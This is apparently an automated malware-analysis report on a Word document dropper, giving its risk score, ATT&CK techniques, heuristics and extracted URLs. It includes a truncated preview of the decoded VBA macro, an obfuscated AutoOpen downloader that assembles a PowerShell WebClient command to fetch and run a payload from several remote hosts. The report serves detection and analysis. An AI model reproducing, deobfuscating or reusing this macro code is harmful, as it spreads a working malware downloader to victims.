MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function to execute a command. This script attempts to download and execute a second-stage payload from the reconstructed URL "http://gasveryOm+yOmso". The macro also appears to establish persistence by writing to the registry key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy". The ClamAV detection and heuristic firings strongly indicate malicious intent.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6449512-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6449512-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://gasveryOm+yOmso In document text (OLE body)
- http://ccwclayOm+yOmsyOm+yOms.yOm+6IZ+6IZyOmneyOm+6IZ+6IZypRN+pRNOmtyOm+yOm/yOm+In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25623 bytes |
SHA-256: e98d79912bc88d7e3e2cfc6e2b3ad7e646d317885f7084fcb4dbbe018c3ee74c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "DIRkpGh"
Function mCJzwMfjzJYa()
On Error Resume Next
LYddnV = (jAZErMkQohFR - Int(lXGcRswpqprBWN) * PQbZFsH / Oct(nJjGafhcLXzO) - (ZSCWTwtLiCUw - Sin(4375943)))
wTANTwiA = (XFjLF - Int(jTTllVJIMf) * WwZqwZCmvN / Oct(EGLHEiKXfL) - (kFGwRlzmlzCYw - Sin(81499)))
TOWBL = (KYjdZJQFONZiRf - Int(pzSbNTkzHRoIbd) * iNHGU / Oct(qBmkUzrlrGfH) - (KDFWmdZZZMkB - Sin(7826919)))
BwVEFzO = (owzMfvUPP) + HJjkJKD("wturXzj+yO6IZ+6IZmvNgxGA(yOm+yOpR'+'N+pRNm),pRN+pRN yOm+yOmnQASyOm+'+'yOmDC'+')yOmpRN+pRN+yOm;&(yOm+yOmpm7IyOm+yOmnvopm7yOm+yOm+pm7kp6BzEikBVhskKZStfDqftlGjSlDEiC", 8, 127)
fXtTWVG = (cvMRoBjf - Int(iGfjTzcLF) * jtJjLJCaA / Oct(INCWC) - (OwhJfGNzOHk - Sin(5078889)))
rmwNooiMo = (DKHtDKbTOAIma - Int(iOQEJhlidiw) * ZfLSEZclzqBUw / Oct(bPAwZWE) - (jjzCbsEUj - Sin(5741805)))
wDIjqjw = (JlvHwwiKpmnMwF - Int(GVifEZpBwcVBwj) * cJXWpafIEBq / Oct(OkvWAzd) - (jlBZYUjziauk - Sin(5154978)))
hUUzXnOrun = (tUsNPKJAnTwcq) + HJjkJKD("PvMFkjEqGHzcXajp6IZpRN+pRN+6IZyO'+'m7)(nQAyOm+y6IZ+6IZOmSDCyOm+yOm)yOm+yOm;brepRN+pRNak;}catch{}}yOm)QKu", 17, 85)
hFTqzq = (wzrIzzUr - Int(ddGFlFbQjZj) * MVGXLM / Oct(SwYFqQiLSVrcv) - (ujBXIaUpkZ - Sin(9164469)))
rjGijc = (MkbklmlaY - Int(FYQpHtJvowl) * RlFzDlYdNw / Oct(TEtkhk) - (rVFLic - Sin(1410057)))
HzKulp = (Sbjplwmj - Int(piljABvU) * OwlNJb / Oct(jFPXGHd) - (kSzzYNKjUbuDw - Sin(4230300)))
jXPUssIhE = (NiiNMaQBGVE) + HJjkJKD("CftiIZSystem.NetyOm+y6IZ+6IZOm.WebCliy6IZ+6IZOm+pRN+pRNyOm6IZ+6IZent;nQyOm+yOmANSyOm6I'+'Z+6IZ+yOmB = nQAnsadayOpRN+pRNm+yOmsd.next(10000, 282pRN+pRNttBOSMLCpw", 5, 145)
LwWTiFbohH = (DQQmOYLNOwMOk - Int(hCNjsuL) * KHOMBFWI / Oct(MvcKuRT) - (jSoiZ - Sin(2850)))
XSpwYODwC = (zmLwUXFBimGIXC - Int(GqGhATHEn) * tdMbWnkHROOt / Oct(nrHtuXoIv) - (JMzYsziqiXMaus - Sin(5091402)))
GFrUbjKDTF = (zVAGoIM - Int(SpsZNjzc) * dDOZOrHmXjVNNz / Oct(TiYSHpL) - (zhGCH - Sin(926410)))
ajoqS = (MMiBtzhDzv) + HJjkJKD("LqNSIOOdBHWvjcpkB16IZ+6IZ33);y'+'Om+yOmnQAyOm+yOmADCX yOm+yOm= pm7 http6IpRN+pRNZ+6IZ://astor'+'iatrayOm+yOmiyOm+yOmning.it", 18, 104)
CkVqOZ = (SCPsIp - Int(iuizi) * jaHvooOWvYI / Oct(BKdwwuqPUw) - (wuboslVwtYUL - Sin(659324)))
WVAtjGD = (jTsFlXiGNHiWjw - Int(GOPhoLBMAWl) * aPFjwazPa / Oct(JjbHphUJVBZOmJ) - (dPniH - Sin(8554965)))
TwUMoB = (AzEqHajwjhJ - Int(FjGjVU) * qAjALdwbULMhS / Oct(aidDzZ) - (dYRsFiEYXiSNP - Sin(441915)))
WGCzVP = (TQcqCEsdGiHhU) + HJjkJKD("QEUhzMCGHUauZZROczpdoEnp6IZ+6IpRN+pRNZyOm+yOpRN+pRNmm7+pm7eyOm+yOmpm7+pm7w-yOm+yOmobyOm+yOmjeyOm+yOmcyOm6IZ+6IZ+y'+'Ompm7yOm+yOm+pm76IZ+6IZyOm+yOm6IZ+6IZpRN+pRNtfjUGXt", 23, 139)
rYijXjRZqc = (bSHGzrD - Int(ctTCDsSjLlOuRn) * rObaavFwTSpGw / Oct(lOUwPJihnwmiw) - (kjDvoXQs - Sin(4485998)))
CVWhcGD = (cBWzzkOl - Int(qaWtwCiQ) * bcnvwoL / Oct(OuRaZsrDTNmj) - (CkAKFrOmFtK - Sin(1494173)))
mPNhQzuaD = (RuchCi - Int(MWUUuQhfqfps) * dYsnltwzAIA / Oct(SUbzal) - (DuUfQj - Sin(3119344)))
FmhOAJAUSnP = (izccWuz) + HJjkJKD("wZlAGrYZcoyOm+y6'+'IZ+6IZOmm'+'/o2yOm+yOmxyOm+yOm7ByOm+yOmx/yOm+yOm'+'?http://gasveryOm+yOmso'+'6IZ+6IZ'+'rgerveryOm+yOmgyOCbObdifrKOXWwqSwCPZWh", 9, 115)
PLlwdTTSwLj = (hQtioo - Int(sbHUEn) * Diwpusj / Oct(kpARGIRzTosDBj) - (ZdjSzaibFwa - Sin(1662208)))
FKCPBcWlU = (WXhEWmfDiWi - Int(ainjL) * MXBXLKZjVCO / Oct(TfzmbwHohOBdv) - (BSYvuv - Sin(8819912)))
cJmbwFA = (NkiwLWi - Int(RcpjDCBoDqZX) * wWYcE / Oct(HKZHSA) - (ROIcl - Sin(6958593)))
MoDEqNvv = (loMNTMbw) + HJjkJKD("pcjFmwtm+yO6IZ+6IZmleyOm+yOmich.bizyOm+yOm/mpRN+pRNs27y6IZ+6pRN+pRNIZOm+yOmry6IiarjwmLMBEJBCHtirfPBEbOhjUoi", 8, 72)
tTdWRSYIRzk = (sUWjzkmjbF - Int(NIBwkRBKqZhD) * iqCACFiWmQEDQc / Oct(NdERw) - (IENQVFFDjDL - Sin(3369870)))
aGBiSb = (EIimdVbSbr - Int(uUowwMVQEPWmoj) * AZSGNsmqXui / Oct(avXOhMQVBQGGT) - (vMKiWuCzUBz - Sin(3997013)))
JhvwhRizIH = (EIdRDRVuUh - Int(paXOf) * SMmfzZfpYko / Oct(aVOMiLNXzD) - (zmafJswWoSkj - Sin(76002
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.